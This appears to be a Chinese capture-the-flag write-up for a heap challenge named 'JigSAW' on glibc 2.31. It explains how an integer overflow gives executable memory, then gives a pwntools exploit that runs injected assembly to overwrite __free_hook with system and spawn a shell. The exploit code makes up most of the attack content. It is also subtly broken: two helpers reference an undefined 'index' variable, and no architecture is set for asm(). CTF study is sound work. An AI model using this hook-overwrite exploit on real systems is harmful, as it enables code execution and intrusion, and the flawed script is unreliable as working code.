显然全绿。
libc给的是2.31的
进场画面简洁。
E9这个函数。
5148开了个空间,然后栈上写了个名字。
15f0这个函数首先引入眼帘的是
sysconf这个函数。
干嘛的?
sysconf 函数用来获取系统执行的配置信息。例如页大小、最大页数、cpu个数、打开句柄的最大个数等等
我们在输入v1的时候可以看到,类型是ld,但是我们的v1只有四个字节,那么就会溢出4个字节给v2,那么就可以得到一块rwx的内存。地址就是我们的heap的地址。
add
就是申请 0x10的chunk。
edit
编写
delete
删除,都清掉了。
show
test
能执行chunk里的代码。
那么我们的思路是啥,我们现在可以写汇编代码来执行。
我们利用的是寄存器残留的值,改一下free_hook是system就行。
exp
-*- coding:utf8 -*-
from pwn import *
r = process("./JigSAW")
def add(index):
r.sendlineafter("Choice : ", "1")
r.sendlineafter("Index? : ", str(index))
def dele(index):
r.sendlineafter("Choice : ", "3")
r.sendlineafter("Index? : ", str(index))
def edit(index, content):
r.sendlineafter("Choice : ", "2")
r.sendlineafter("Index? : ", str(index))
r.sendlineafter("iNput:", content)
def test(idx):
r.sendlineafter("Choice : ", "4")
r.sendlineafter("Index? : ", str(index))
def show(idx):
r.sendlineafter("Choice : ", "5")
r.sendlineafter("Index? : ", str(index))
r.sendlineafter("Name:", "aaaa")
r.sendlineafter("Make your Choice:", str(0xffff00000000))
code1 = asm("add r10, 0x50068; mov r12, r10;")
code2 = asm("sub r10, 0x1496b0; mov qword ptr [r12], r10")
add(0)
add(1)
add(2)
edit(0,code1)
edit(1,code2)
edit(2,'/bin/sh\x00')
test(0)
test(1)
dele(2)
r.interactive()